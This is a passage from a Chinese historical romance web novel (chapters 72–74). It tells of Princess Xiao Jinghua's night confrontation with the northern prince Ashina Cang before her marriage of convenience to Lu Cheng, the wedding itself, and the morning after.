她皱起眉,“那小子是什么人?” 连小子都用上了。 萧婧华失笑,“是……是陆埕的弟弟陆旸。我们算是一起长大的,他生性开朗,长得也还不错,此次秋闱应当榜上有名。家中和睦,母亲开明,若你妹妹嫁与他,未来应当会很不错。” 是陆侍郎的弟弟啊。 云慕筱沉吟,“我三婶商贾出身,对读书人最是推崇,应当不会反对。但我三叔应当会对陆公子考较一番。” “不过六妹妹尚未及笄,说这些为时尚早。”她摇头失笑。 心念一转,萧婧华笑话她,“你妹妹都有着落了,你呢?就没想过嫁人?” 云慕筱表情僵住。 嘴唇蠕动,像是在纠结。 萧婧华挽住她手臂,快速转移话题,“走吧,去那边看看。” 云慕筱偏头。 她方才那话仿佛是不经意间吐露,面上表情也无异样,心里松了口气的同时,云慕筱又有些愧疚。 她不该瞒着她的。 可要将她和萧长瑾的事全盘吐露,又很是别扭。 他们并无干系,倘若说萧长瑾对她…… 云慕筱深吸口气,将这事压在心头。 算了,走一步看一步吧。 …… 日落将近,铺子里的女客才渐渐少了。 江妍卿来了趟,送完贺礼便以不放心小初一独自在家为由匆匆离开。 萧婧华纳闷,总觉得她有事瞒着自己。 不过她当时正忙着,也没空问她。 关了铺子,萧婧华请姑娘们去好好吃一顿,直到这时,谢瑛才不知从何处蹦了出来。 “你这一天都去哪儿了?”云慕筱蹙眉望她。 萧婧华淡声,“我看是见色忘义,会俊美小将军去了吧?” “啊?” “你怎么知道?” 云慕筱和谢瑛同时开口。 此话一出,温婵姿来了兴致,“哪个小将军?身量如何?” “你见过的啊,仰玉成。” “你。”云慕筱四处望了眼,虽然没人,却仍小声道:“你看上他了?” “瞎想什么呢你。”谢瑛用食指抵着云慕筱额头将她推远,“我和他约好了,等他伤好,定要痛痛快快和我打一架。” 她仰着脸笑容灿烂,眸子里蕴着星光,很是得意。 萧婧华/云慕筱/温婵姿:“……” 三人齐齐无语,不约而同撇下谢瑛往前走。 “诶,你们那是什么表情!” 谢瑛不满追上,“能和大名鼎鼎的‘见画’将军过招是我的荣幸,你们怎么都不为我高兴?”云慕筱:“为你高兴。” 萧婧华:“祝你成功。” 温婵姿:“你加油。” “喂!”谢瑛大喊:“太敷衍了,过分了啊。” 三个姑娘笑出了声。 谢瑛没忍住,也跟着笑。 银铃似的笑声在空中回荡,向周围扩散。 树上雀鸟挪动爪子,往声源地望去,扑腾着翅膀仰头鸣叫,似在和声。 …… “你说什么?” 陆埕挣扎着起身,激动抓住陆旸的手,“她当真,让我去提亲?” “哥你别动啊。” 陆旸忙让他躺回去,“身上还有伤呢。” 抬头对上陆埕急迫的目光,他无奈道:“我还能骗你不成?真的,比金子还真。” 得到他的回复,陆埕心里仿佛有烟花绽放,流光从眼中闪过,浅黑色眸子亮得惊人。 “不过……”陆旸疑惑挠头,“我最初问起你和婧华姐的婚事,她当时还让你去做梦,结果转个头她就改变了主意。” 陆埕眼里的笑滞了滞,“她中间见过什么人?” “没有吧?”陆旸不确定,“不对,好像是有一个北夷人。” 光点四散,继而湮灭。 陆埕阖上眼,一瞬想通了她转变的原因。 “知道了。我乏了。阿旸,你回去吧。” 陆旸:“哦,好。” 他走出屋子,顺手关上门,停在门外。 这一个两个的,都怎么了? 陆旸想不通,回屋睡了。 虽然萧婧华并非真心嫁他,但只要她愿嫁,陆埕便心满意足。 这一月,他积极接受治疗,痛快喝药,得太医一句“没什么大碍,只需好生将养”便迫不及待上门提亲。 恭亲王不情不愿应下婚事,陆夫人在一旁活跃气氛,陆埕心不在焉地盯着门口。 那道心心念念的身影始终没有出现。 原在意料之中,他也算不上失望。 只是,从提亲到成亲这四个月里,陆埕再也没见过萧婧华的面。 …… “这天可真冷啊。” 谢瑛关了窗,贴上“囍”字。 回头望萧婧华一眼,她道:“你这都要成亲了,脸上怎么也不见喜色。” “有什么好喜的?” 萧婧华歪在榻上剥橘子。见谢瑛走过来,往她嘴里塞了一瓣,懒散道:“你若是被人逼婚,我看你还喜不喜。” “嘶。” 谢瑛打了个哆嗦,“酸死了。” “我这辈子应当是没人逼婚了。”她在萧婧华一旁落座,“我爹娘远在边关,管不着我。父亲母亲也没那个功夫管我。他们现在一门心思想让……” “哪儿酸了?我觉得还挺甜的。” 云慕筱吃着橘子,疑惑出声。 谢瑛觑她一眼,从她手里拿了瓣橘子,丢进嘴里囫囵两下咽下去,酸得一张脸都皱了起来。 “这么酸!” 萧婧华失笑,“是你不能吃酸,分明是甜的。” “不能吃酸才好呢。”江妍卿笑道:“若能吃甜,谁想尝尽酸苦?” 云慕筱应和,“阿瑛确实自小就爱吃甜食。” “初一也喜欢,尤其是……” 两人说起各自青睐的糕点铺子。 听着耳畔谈话声,萧婧华吃着橘子,目光有些发怔。 四个月过去,阿史那苍竟当真还留在京城,而她也要嫁人了。 二月寒风依旧刺骨,呼啸着随着来人卷入室内。 侍女接过她递来的斗篷,为她打起珠帘。 “你们都在啊。” 姑娘们循声望去,温婵姿风尘仆仆而来,鞋上沾了不少泥泞。 这几个月打理蒲草居,她身上少了初见时的媚意,反而浑身上下都透着一股爽利劲。 “温大掌柜来啦,快快快,来烤烤,去去寒气。”谢瑛忙招呼她。 温婵姿摆手,“算了,不比几位东家清闲,铺子里一堆事,小的忙着呢。” 这话略带几分阴阳怪气,萧婧华已经习惯了,甚至笑盈盈道:“那就劳累温大掌柜了。” 云慕筱轻轻点头,眼里多了丝赧然。 谢瑛哈哈大笑,“那说明温掌柜本事高啊。” 温婵姿瞪她一眼,没忍住笑了。 从怀里掏出一个木匣子递给萧婧华,她道:“给你的添妆,我和思思几个好不容易寻到的。” 温婵姿眨眨眼,神色意味深长,“都是好东西,你可得慢慢看。” 拍开谢瑛跃跃欲试的手,她嗔道:“你急什么,等你成亲,一样会有。” 谢瑛指着自己,“我也有?” “是啊。” “行,那你明日给我送来吧,不用等到成亲。” 温婵姿:“……” 她噎了下,白她一眼,“你一个人也用不着,等着吧。” 江妍卿瞬间意会,唇畔含笑。 云慕筱隐隐意识到那是什么,雪白侧脸浮现淡淡红晕,不敢再看一眼。 萧婧华摩挲着木匣上雕刻的并蒂莲,笑道:“那便多谢温大掌柜了。” 温婵姿哼笑。 铺子里还有事,她没多待,留下添妆匆匆离去。 天色渐晚,云慕筱几人也告辞了。 萧婧华望着温婵姿留下的木匣,略有些好奇。正要打开,箬竹走进来,“郡主,这嫁衣……” 她瞬间没了兴致,眉眼恹恹,“放下吧。” “不试试吗?” “有什么好试的?宫中绣娘照着我的身段缝制的,难不成还能不合身?”萧婧华嫌弃。 正好汤正德来请萧婧华去正房用膳,她丢下那嫁衣便走。 宴上恭亲王闷闷不乐,萧婧华哄了好久,一再保证她用不了多久就能回来,才让恭亲王重新露出笑颜。 回到春栖院,萧婧华站在院内,抬头望着挂在漆黑夜幕中的残月。 箬兰道:“郡主,外边凉,还是……” 声音骤然拐了个弯,音调都破了。 “郡主呢?!” 蓦然回首,只见墙上一道人影一闪而逝。 光线昏暗,箬兰只看见一双泛着幽幽绿光的眼睛。 这足以她辨认来人。 树上抱剑养神的予安和立在屋檐上的觅真反应迅速,两道流光闪过,人已经追了出去。 箬兰目瞪口呆,和身旁同样没反应过来的箬竹道:“这、这这这……是抢亲吗?” 第72章 乌云蔽月,寒风过隙。树荫婆娑,沙沙作响。 颀长身影站在墙下,树影融入黑影中,活似个张牙舞爪的怪物。 孟年往手心里哈口气,搓了搓手,缩着脖子一脸纳罕地瞧着自家大人。 明日便是成婚的日子,大晚上的不睡,跑到王府来做什么? 来了就算了,还专门跑到墙角下,什么也不说,光盯着高墙发愣。 就这么盯着,难不成就能把郡主盯出来? 撇撇嘴,孟年打了个哈欠。 “大人,要是没什么事,咱们就回吧。” 这天真的怪冷的。 陆埕缓声,“你先回去吧。” 孟年当即转身,毫不留情离开。 走出几步,他回头,重复一遍,“我真走了啊。” 陆埕无奈,“回吧。” 孟年这才放下心理负担,步调愉快地回家去。 夜中有不知名鸟雀鸣叫,陆埕望着高墙内的漆黑夜幕。 两道身影从墙上跃过,熟悉的面容从眼前一闪而逝,旋即没入黑夜中。 紧接着,又有两道身影飞快从空中掠过。 是萧婧华和阿史那苍。 夜风拂面,冰冷沁骨,将他眼里的光冻结成冰,刹那破碎。 …… “阿史那苍,你做什么?” 甫一张口,冷风灌进嘴里,萧婧华忍不住咳嗽。 那人箍住她腰的力道略略放轻,揽着她停在一棵树下。 萧婧华一落地便离他好几步远,眼里含着警惕。 同一时刻,予安觅真追了上来,拔剑对准阿史那苍。 “放了郡主。” 绿眸落在萧婧华身上,阿史那苍嗓音冷漠。 “本王今日不想动手。” 萧婧华捂着胸口,缓过劲后,她对二人摇头,“我想和他聊聊。” “可是郡主……”觅真急声。 “没事,你们先下去吧。” 和予安对视一眼,觅真点头,“属下就在附近,郡主有事,只管唤我们的名字。” 萧婧华颔首。 二人飞身上了附近屋檐,听不清他们的谈话,却又能时刻注意萧婧华的动态。 萧婧华蹙眉看向阿史那苍,“你带我出来,究竟想做什么?” 向来含笑的面容此刻阴沉下来,衬得那双绿眸似猛兽危险,一字字从口中吐露,“你当真要嫁?” 他曾以为这桩婚事成不了,可明日便是萧婧华成婚之日,事到临头,他不得不信。 “本郡主说过了,圣旨赐婚,岂能儿戏。” 萧婧华毫不犹豫道。 她怎能、怎能嫁?! 阿史那苍闭眼,随后猛地睁开,两步上前抓住萧婧华双肩,绿眸里似有红意浮现,后槽牙咬紧,声声质问:“我何处令你不满?让你如猛兽避之不及,甚至宁愿嫁给一个早已被你舍弃之人?!” “放开郡主!” 屋檐上响起觅真的呵斥,眼见她要拔剑跃下,萧婧华忙将她唤住,“别下来。” “我没叫你们,不准下来。” 觅真迟疑片刻,收回了剑,瞪向阿史那苍。 萧婧华深深吸气。 男人俊美面容近在咫尺,她望着那双漂亮眼睛,仿佛能看清沉在深处的不解痛楚。 她第一次,认真对他道:“你很好。” 阿史那苍并未得到宽慰,“那你为何不嫁我?” 萧婧华轻声问:“草原对你来说,是什么?” 他毫不犹豫回:“我的家乡、领土,我的登上王位的见证者,永远不能舍弃的长生天。” 萧婧华蓦地笑了,“与我而言,京城同样如此。” 阿史那苍微愣,“什么?” 少女仰着脸,远处灯火葳蕤,不及她眉间煌煌笑意。 “我自幼在京城长大,这里的一砖一土,一瓦一木,皆印在我脑海深处,不能忘怀。你说的草原,我从未去过,未来或许能见一面,可不管怎样,无论身处何方,我终究还是要回到这里。” 萧婧华轻声道:“这里有我的亲人,我的朋友,我无法割舍的一切。” “我年幼丧母,父王为了母妃,也为了我,绝了续弦的念头。他孤身在王府守着母妃的灵位,守着我过了十几年,我若随你远嫁,那无异于活生生割下他的心头肉。” “倘若要他后半辈子在这王府里,眼睁睁看着别家欢聚团圆,听着欢声笑语,一天天,一夜夜地等着,候着遥远北方的来信,我怎么舍得?” 少女声线已带了颤抖,她略微哽咽道:“父王是这世上最爱我的人,阿史那苍,我绝不可能留下他一个人。” 父王惨死的画面不断折磨着她,此事一日不调查清楚,她一日不得安宁。 在这种时候,她断不会离开京城。 凤眼蓄着水光,萧婧华抬眸,静静望着眼前的男人,轻声道:“你明白了吗?” 对上她的目光,阿史那苍落在她肩上的力道松了。 “若你当真对我情根深种。”萧婧华缓声而笑,琥珀色的眸子里淬着光,眼尾轻轻一动,高傲而矜贵。 “你可愿舍弃草原的一切,留在京城?” 她凝着他,“你若留下,我便嫁给你。” 阿史那苍低头看她。 二人目光相对,谁也不曾退缩。 晚风寒凉,风声猎猎,鸱鸮叫声在空旷夜中回荡,盖住了树后轻微沙响。 许久,阿史那苍松开她,看向黑夜中的北方。 “阿史那是北夷王姓,‘苍’这个名,是我阿娜取的。你可知它在北夷是何意?” 萧婧华:“何意?” “是天神。” 面前似浮现了女人柔美清丽的脸,阿史那苍眉间带着显而易见的温柔。 他低低笑道:“我阿娜的前半辈子,过得属实凄惨。她原出身大户人家,后来家道中落,被卖到商户家里当丫鬟,扫地浆洗,挑水洗碗,样样都做,甚至动辄被打骂。在家时,我外祖父外祖母视她为掌上明珠,她何曾起早贪黑做过粗活?原本一双柔嫩的手,没多久就不成样了,又生茧子又生冻疮。” “偏她生得好,被那商户家的少爷看上了,想纳她为妾。那家的少夫人是个善妒的,面上干脆应下,暗中使计把少爷调走。少爷前脚走,她后脚便把我阿娜卖到了北方一座窑子。” “那段日子,她从未对我说过,可我知道,她心里苦。”阿史那苍望着天,“后来,她遇见了一生挚爱。” 萧婧华轻声问:“是你父汗?” 阿史那苍嗤笑,笑音里满含讽刺,“他不配。” 他道:“那人是个小部族的首领,对我阿娜一见钟情,打了好几个月的仗,终于凑齐了赎她的金银,将她带离了魔窟。” “原本,他们该生几个孩子,在草原上过安生日子。可就在她生完我阿恰的第二年,王族骑兵踏破了小部族的营帐。那人战死,我阿娜带着阿恰,成为了女奴。” “阿娜放弃被她的丈夫重新养回来的尊严,只为了给她的女儿要一口奶水。可阿恰还是死了。” 阿史那苍笑了声,“也不知她怎么想的,竟想去刺杀可汗。到头来,不仅没成功,反而把自己搭了进去,被迫生下我这个孽种。” 他的语调极轻,“后来,阿娜偷偷为丈夫祭拜被人撞见,可汗大发雷霆,把她和我一起扔进了奴隶营。” “这世上的事就是这么巧。” 阿史那苍枕着双臂靠在树干上,“曾经,她为了自己的女儿忍辱偷生,后来又为了给我这个孽种讨口吃的,对一群奴隶卑躬屈膝。区别是,我活了下来。不仅如此,她教我中原话,教我读书习字,给我取名‘苍’。” “她说,愿我如苍鹰,无拘无束,自在翱翔。” “可她不知,在北夷,‘苍’即是天神。阿娜既然为我取了这个名字,那我自然要做北夷的神。” “我费尽心思爬到如今的位置,为的是让曾经所有看不起她,辱骂她的人,只能卑微地匍匐在她脚下。” “不,不够,我要让整个北夷,再无人敢轻视她。” “小金花。” 阿史那苍偏头,对萧婧华道:“你放不下你父王,我也不可能放弃北夷和我阿娜,留在京城。” 怎么能放得下? 那片草原承载了他所有的屈辱与荣耀,即便是死,他也只会战死在草原上。 他分明是笑着的,可萧婧华却觉得,他的眼睛好像在流泪。 似夏日的瓢泼大雨,告别了融融春日下满树如霞海棠。 如一场瑰丽绮梦,轻轻一碰便散了。 萧婧华牵起唇,细碎光点蕴在眸底,水眸莹莹,涟漪轻荡。 她轻声开口,“那,就这样吧。” 他们都有各自的坚持,绝不可能为对方让步。 既然如此,不必再为注定无法相守的人心伤。 阿史那苍取下腰间酒囊,拔出塞子仰头饮酒。锋利喉结滚动,喝完,他丢开酒囊,拇指抹掉唇上酒渍。 酒酿哐一声坠地,烈酒的气息在空中散开。 阿史那苍握住萧婧华双肩。 少女还未反应,她整个已经被男人禁锢在树干与他的胸膛之间。 “你做什么?”萧婧华拧眉,“我们不是已经说好了?” “我知道。我只是……” 男人逐渐靠近,埋在她肩头,哑声道:“不甘心。” 萧婧华挣扎的动作停住。 良久,阿史那苍抬头,抓住少女的手腕,一把撩起她的衣袖。 白皙的肌肤骤然暴露在寒冷中,不禁起了一片小疙瘩。 在萧婧华震惊的目光下,阿史那苍低头,张口咬在少女白皙皓腕上。 他咬得极重,利齿好似刺破了娇嫩的肌肤,萧婧华感到一阵疼痛,眼里泛起泪花,刚要叫出声,一只大手捂住了她的嘴。 不知过了多久,阿史那苍终于把她松开了。 萧婧华低头去看,原本光洁的手臂上蓦地多了个牙印,仿佛雪地里无声绽放的血莲。 丑死了! 她正要呵斥,却见阿史那苍拿了瓶药出来,抹在她伤口上。 嗓音又低又哑。 他说:“这样,你就永远也忘不了我了。” 心上仿佛有什么东西重重一撞,萧婧华抬眸,怔怔看他。 第73章 收了药,阿史那苍放下萧婧华的袖子,将她的小臂连同那牙印一起盖住。 “我送你回去。” 是他把她带出来的,总要再送她回去。 训斥的话再也说不出,萧婧华抿唇,轻轻点头。 松开她,阿史那苍往后退了两步,“走吧。” “好。” 萧婧华跟上。 屋檐上的予安觅真瞧见她动身,足尖轻点,飞身而下。 远处檐下灯笼散发着昏黄暖光,少女的影子影影绰绰,融入黑暗之中,再无法分辨。 树后。 有道身影脱力靠在树干上。 陆埕无力看天。 方才那一瞬,她在想什么? 是感动于阿史那苍炽热到毫无保留的感情,还是遗憾他无法为她全然付出?她说,只要他留下,她就嫁给他。 她是真的,对他动心了? 陆埕不知道。 他捂着胸口,脸色发白,只觉得早已痊愈的伤仿佛都在隐隐作痛。好似有无数只蚂蚁啃噬着他的血肉。 他甚至不知道,天亮之后,会不会等到她的退婚书。 阿史那苍放弃了,她,还会嫁给他吗? 身影被黑夜彻底吞噬,陆埕安静地靠着树干。 满身孤寂。 他站了许久,久到衣带沾霜,天光大亮,才一步步,蹒跚着回家。 陆府张灯结彩,里里外外染了喜庆。 孟年急匆匆从门内走出,见了他,脸上焦急化为惊喜,快步上前,“大人,你可算回来了,这一晚上你究竟去哪儿了?” 他往里喊了一声,“夫人,大人回来了!” 连忙扯着陆埕进屋。 陆夫人杀气腾腾走来,指着陆埕张口就骂,“今个儿大喜的日子,你给老娘搞什么幺蛾子?动不动就失踪,这亲还成不成了?别说婧华了,连我都想削你。” 殷姑拉住她劝,“夫人,今天是个好日子,可不能骂。要骂也得等明日去。” 陆旸应和,“是啊娘,还是快让我哥去换喜服吧,再晚些,宾客都要来了。” 此次秋闱,陆旸十分幸运地榜上有名。虽然名次不靠前,但好歹考上了不是? 因此这段时日陆夫人对他格外容忍,强忍怒气没再骂,“还不快让你哥去换喜服。” 陆埕呆怔片刻,冷不丁道:“王府不退亲?” 众人刹那沉默。 好半晌,陆夫人憋出来一句,“你费了半条命得来的婚事,不想着和和美美,反而想让婧华退亲?” 脑子怕不是被门夹了? 看在他今日成婚的面子上,陆夫人没把这话说出口,眼不见为净地闭上眼,“陆旸,赶紧带你哥回屋去!” 陆旸收起一言难尽的眼神,“诶。” 陆埕终于反应过来,眼里熄灭的光一瞬亮起。 …… 回了王府,箬竹箬兰齐齐迎上来,面含担忧,“郡主,没出什么事吧?” “没事。”萧婧华摇头。 看出她眼中疲惫,箬竹拉住还想再问的箬兰,“奴婢去备水,郡主早些歇息吧,明日得折腾整整一日呢。” 萧婧华点头。 被精心伺候着沐浴后,她躺在床上,迟迟睡不着。 康郡王早已派人送来安神香的方子,只是不知是否是配香之人不同的原因,总觉得和康郡王妃的有些微不同。 好像香味要淡些。 不过用着倒是挺好。 从床头匣子里取出香囊,萧婧华放在鼻尖轻轻嗅着,闻着熟悉的香味,慢慢睡去。 被箬竹唤醒时,萧婧华很是困倦,总觉得自己没睡多久。 一问时候,果真,才睡了不到两个时辰。 带着烦躁跨入浴桶,萧婧华闭着眼睛打瞌睡,仍由嬷嬷们在她肩上揉按。 “郡主,这……” 嬷嬷迟疑的嗓音响在耳侧。 萧婧华迷蒙睁眼,“怎么?” 嬷嬷小心托起萧婧华的手腕,语调很是谨慎,“这印子去不掉。” “去不掉就去不掉吧。” 萧婧华心烦,继续闭上眼。 嬷嬷只好继续为她擦洗。 直到被服侍着穿上嫁衣戴上凤冠,萧婧华仍是一副睁不开眼的模样。 早早赶来的谢瑛几人笑话她,“你昨晚上干嘛去了,这么困。” 萧婧华语气颓丧,“你不懂。” 她打了个哈欠,“往日这个时辰,我还睡着呢。” 屋里人越来越多,她勉强打起精神招待。 王府没有年长的女主人,恭亲王只好去请两个妹妹为萧婧华张罗。 文仪长公主与姑母新昌大长公主有几分相似,是个风风火火的性子,在闺中时便备受太上皇喜爱,一来便将事打理得妥妥帖帖。 让箬兰将吃食端到萧婧华面前,文仪长公主盯着她,“吃两口垫垫肚就好,今日忙着呢,可没功夫让你如厕。” “可是姑母,我饿啊。” 萧婧华哭丧着脸。 “饿也得忍着。” 文仪长公主点她眉心,“这可是一辈子的大事,若是出了岔子,往日等你回想起来还不得呕死。” “皇姐说的是,当初我同你姑夫成婚时,他迟了半刻钟才来迎我,我能记他一辈子。”文若长公主道。 萧婧华腹诽,也不一定啊,万一她和离后还会再嫁呢? 不过当着两个姑姑的面,她不敢把这话说出口,默默张唇,被箬兰投喂。 吃了两口,文仪长公主便让箬兰将东西收下。 全福夫人为她绞面梳妆,萧婧华握着喜扇,端坐榻上。 怕她无聊,云慕筱和谢瑛坐在凳上陪她小声聊天。 “婧华,你紧张吗?”谢瑛问。 “有什么好紧张的?” 谢瑛道:“清姐第一次相看的时候可紧张了。” “那是因为她不知对方的相貌品行。因为未知,难免忐忑。”萧婧华道:“我和陆埕认识这么多年,他长什么样我还能不知道?” 谢瑛看了云慕筱一眼,思量着,“这样看来,提前认识好像还不错?总比盲婚哑嫁来得好。” 云慕筱笑,“父母之命媒妁之言,怎么被你说的如此不堪。” “实话实说而已。”谢瑛撇嘴。 外头陡然热闹起来,爆竹声中,有人喊着新郎官到了。 一片嘈杂,萧婧华静坐着,耳畔响起一道轻柔祝愿。 “婧华,愿你安乐。” 萧婧华偏头,撞进云慕筱含笑的漂亮眸子。 喜扇遮挡下的红唇弯起,她轻轻点头,“我会的。” 外头起哄声一阵接着一阵,吵嚷中,陆埕终于进屋来。 她听见他和文仪文若两位长公主请安,听见文仪姑姑对他谆谆教诲,听见他朝她走来的脚步声。 “郡主,我来接你。” 隔着喜扇,萧婧华看不清他的模样,依稀瞧见一袭红衣,像极了他高中那年。 骑马游街,意气风发。 她微恍了神,随陆埕走出内室。 到了正堂,恭亲王沉着脸叮嘱陆埕定要好生爱护她,不可让她受委屈。 萧婧华心想,她受过所有委屈,可不就是陆埕给的? 下一刻,便听他坚定道:“陆埕此生,再不负郡主。”萧婧华心下微怔。 恭亲王走到她面前,想摸她头,却又无从下手,只能哽咽道:“记得多回家看看父王。” 从这桩婚事定下起,即便是今日,萧婧华依然没有要嫁人的真实感,直到此刻,看着恭亲王微红的眼,不舍的神情,心中的酸涩骤然爆发。 眼眶发酸,她红着眼,害怕哭腔泄出,紧闭着唇没出声,只用力点了点头。 恭亲王叹道:“去吧。” 不舍转身,直到走出一段,萧婧华仍能感受到恭亲王的目光一直放在她身上。 她把泪憋了回去。 没关系,等她和离,她就能回来陪伴父王了。 萧长瑾送萧婧华出门,似能感受到她的情绪,他道:“做你想做的,我们一直在。” 萧婧华终于笑了出来,“好。” 送她上了花轿,萧长瑾凝望着吹吹打打逐渐远去的队伍,久久驻足。 有道身影在他身旁停下,少女轻柔的嗓音仿若春风。 “她会幸福的。” 萧长瑾偏头看她。 姑娘肤若凝脂,面带浅笑,似清水芙蓉,不染纤尘。 他启唇,嗓音微低,“你也会。” 男子眉目温和,眼中灼热,云慕筱刺痛似的移开目光,低低道:“我……近日画了一幅画。” 眸底似星河璀璨,萧长瑾笑意灿然,“不知孤可有幸与云三姑娘一同赏鉴?” 云慕筱望着走远的迎亲队伍,回音在空中散开。 “……好。” …… 萧婧华下了花轿。 进府前,她听见空中苍鹰盘旋发出的唳声。 远处高楼之上似有一道身影挺立,遥遥向这个方向望来。 她停顿片刻。 身旁的陆埕一瞬绷紧。 可她并没有动作,只是往前迈了一步。 陆埕松了口气。 陆府内热闹非凡,陆夫人笑容满面地招呼着宾客,眼角眉梢都挂着喜意。 早一步到的恭亲王与她同坐高堂,看着堂内这对新人拜天地。 随着一声“礼成”落下,成京带着禁军进门。 “郡主。”他笑道:“陛下特让奴才为您添妆。” “玉如意一对,鎏金红宝石头面一套、镶金翡翠镯子一对、白玉龙凤玉佩一对……” 一连串的奇珍异宝从他嘴中吐露,宾客们齐齐噤声。 不禁感慨,郡主可真是受宠啊。 成京收了礼单,笑眯眯道:“祝郡主新婚喜乐,与陆大人白头偕老,恩爱无双。” 萧婧华和陆埕对着皇宫的方向行礼。前者道:“多谢公公,劳烦公公替我谢过皇伯父了,我改日再进宫探望。” “一定。” 恭亲王请成京留下喝喜酒,萧婧华则是在喜娘的带领下入了新房。 陆夫人早早的备好了饭菜,她饿了一天,早就忍不住了。 谢过殷姑之后便捏着筷子开始用膳。 箬竹箬兰一直守着她,等她吃完,踯躅地不知该去何处。 萧婧华道:“你们也累了一日了,先下去歇息吧。” 二人面面相觑,只好关门退出。 萧婧华打了个哈欠,靠着床柱迷瞪。 她睡得不深,外边脚步声响起时便醒了。 男人缓缓朝她走来,空气中有酒气散开。 萧婧华蹙眉,冷淡道:“此间事了,你我和离。” 第74章 红烛滴蜡,灯影摇曳。 地上影子停顿,衣摆微微晃动。 红色纱帐垂坠,轻轻落在大红喜床上。 少女一身火红嫁衣,猎猎如薪,凤冠流苏垂在眼前,眸光与珠光相映,熠熠生辉。 她今日的妆极浓,完美凸显出五官的优势,双颊似霞,红唇饱满,美得不可方物。 陆埕看着她,忽地想起一件旧事。 有次他温书温得太晚,当时正值初秋,不甚染了风寒,昏昏沉沉睡了一夜,迷迷糊糊间听见她与母亲小声说话。 “陆埕怎么还不醒啊?这么烫,不会烧坏了吧?” 母亲安慰,“让大夫来看过了,一碗药灌下去,再睡一觉,很快就会好。” 意识一半沉入混沌,一半又清晰地感觉到母亲让孟年给他喂药。 孟年动作粗鲁,他在昏睡中皱起眉头,紧接着听见她小声的训斥。 “孟年,你小心点啊。” 孟年诶诶两声,放轻动作。 喝完药,他又睡了过去。意识昏沉间,总觉得有一只小手在他身上作怪,一会儿摸摸脸,一会儿碰碰额头,一会儿又去掰他的手指。 玩得不亦乐乎。 等他醒来时,第一眼便看见趴在他床边睡着的小少女。 十二三岁的姑娘还未完全张开,白白净净的一张脸,略带点婴儿肥,睫毛长翘浓密,像把小刷子。嘴唇微微嘟起,落在腮边的发丝随着她的呼吸起起落落。 一只手虚虚抓着他的食指,力道不大,却让陆埕心间狠狠一颤。 他微动了下,姑娘两道细眉蹙起,缓缓睁眼。眼中朦胧在触及他时烟消云散,化为拨云散雾见繁星般的惊喜。 “你醒了!陆埕,你担心死我了,你知不知道自己睡了……” “你应当也知,这桩婚事不过是权宜之计,等北夷使臣离京,我们就和离。” 两道声音同时钻进陆埕耳中,一道软声惊喜,一道冷漠疏离。 陆埕垂下眼。 浓密长睫盖住眸底翻涌思绪,他缓缓低声,“好。” 喜床上,少女意外挑眉,抬眼看他。 喜庆红光映入眼中,萧婧华微怔。 印象里的陆埕,平日里穿的除了素色还是素色,玉环配饰从不会出现在他身上。 除开他高中那次,这是萧婧华第二次见他穿这般张扬的颜色。 红色喜袍衬得他长身玉立,连带那张清冷的面容仿佛也添了些许温度。玉冠束发,剩下一半如上好的绸缎垂在身后。袖子下的手根根分明,手背青筋隐显。 背后烛光明亮,萧婧华看不太清他的表情,依稀见那双狭长凤眸里闪烁的微光。 她转开目光,面色稍缓,“多谢。” 这几个月里,陆埕极少得到她的好脸色,沉郁的心瞬间松快了大半,见她头上顶着沉重的凤冠,指尖微顿,忍住冲动,轻声道:“我去唤箬兰箬竹。” 浓稠酒气散去大半,萧婧华终于舒了口气。 脚步声消失在门外,她转了转僵硬的脖子,取下头上发冠。 没多久,箬兰箬竹领着两名抬水的粗使嬷嬷进来。 箬兰眸子转了一圈,没见到陆埕的身影,满意点头。 算他识相。 箬竹快步走近萧婧华,为她脱去烦琐的嫁衣。 累了一日,把身子沉入温热水中,洗去一身的乏累,萧婧华舒服得不由喟叹。 “成亲可真累。” 箬兰附和,“别说郡主了,连奴婢都累坏了。” 箬竹忍笑。 萧婧华抬起半眯的眼,哼笑一声,“行,你们都累坏了,这个月俸禄给你们翻倍。” 箬兰大喜,“好啊好啊。” 换上寝衣,萧婧华打着哈欠走向床榻。 “扣扣——” 房门忽然被叩响,屋里所有人霎时顿住。 陆埕的声音隔着门扉传来。 “我……进来拿东西。” 萧婧华以迅雷不及掩耳之势钻进床里,箬竹箬兰飞快放下纱帐。 低头瞧了眼胸前裸露的肌肤,萧婧华拉过被子把自己盖住,朝外面喊:“进来吧。” 陆埕推开门走了进来。 透过半透明的纱帐,萧婧华眼睁睁看着他离自己越来越近,抓着被子的手逐渐收紧。 到了床榻旁,陆埕从柜子里抱出一床棉被,折返时目光朝下,不敢乱看,低声道:“我去睡书房。” 萧婧华只留了几个粗使嬷嬷在王府守着她的春栖院,剩下的人全被她带到了陆府。 陆府住一家三口很是宽敞,但一下子多了这么多人便显得有些许拥挤了。 剩下的空屋子不是住进了人,就是堆了萧婧华的嫁妆,除了书房,别处并无陆埕的容身之所。 萧婧华怔愣中,他已经抱着锦被出门了。 少女呆坐了片刻,旋即飞快躺下。她枕着明显是新做的枕头,沉沉睡去。 …… 萧婧华累得够呛,足足睡到日上三竿才醒。 按理来说,新妇第二日该去敬茶,但她和陆埕着实算不上正经夫妻。可即便如此,面对陆夫人,她始终有几分赧然。 “……娘,喝茶。” 萧婧华还没弯身,陆夫人一把拿过她手里的茶盏,爽快地喝了一口,随后拉着萧婧华在身边坐下,从怀里取出红包递到她手上。 “好孩子,快收着。” 萧婧华微怔,“这是……” 瞥着站在一旁的陆埕,陆夫人道:“不用管某些人,当娘的给闺女红包,这不是天经地义的?” 萧婧华笑了,“好,谢谢娘。” 陆旸在一边嚷嚷,“姐,快看看里边有多少,如果有多的,你也分我点啊。” 陆埕双眉皱起,瞪着他冷声训斥,“春闱将近,你不好好在屋里温习,跑出来做什么?” “啊?”陆旸一副天塌了的表情,“今天还要温习啊?” “这时不温习,你想等到什么时候?考场上?”陆埕扯着陆旸走了,“趁我这几日在家,给你好好补补课。” “不要啊——娘,姐,救我——” 陆旸鬼哭狼嚎着被带走了。 陆夫人嫌弃,“我怎么就生了这么个蠢儿子。” 萧婧华忍俊不禁,“阿旸看着,是还有些孩子心性。” “就这,还想让我去给他提亲呢。”陆夫人撇嘴,“也不知道能不能过了老丈人那一关。” 萧婧华心念一动,“娘知道阿旸和敬国公府六姑娘的事?” “知道。”陆夫人好笑,“那傻小子回来就和我嚷嚷,说是有心上人了。我想着他若是今年春闱榜上有名,便去替他提亲。若是落榜也无碍,那姑娘还未及笄,三年后正值芳华,年纪正好。” 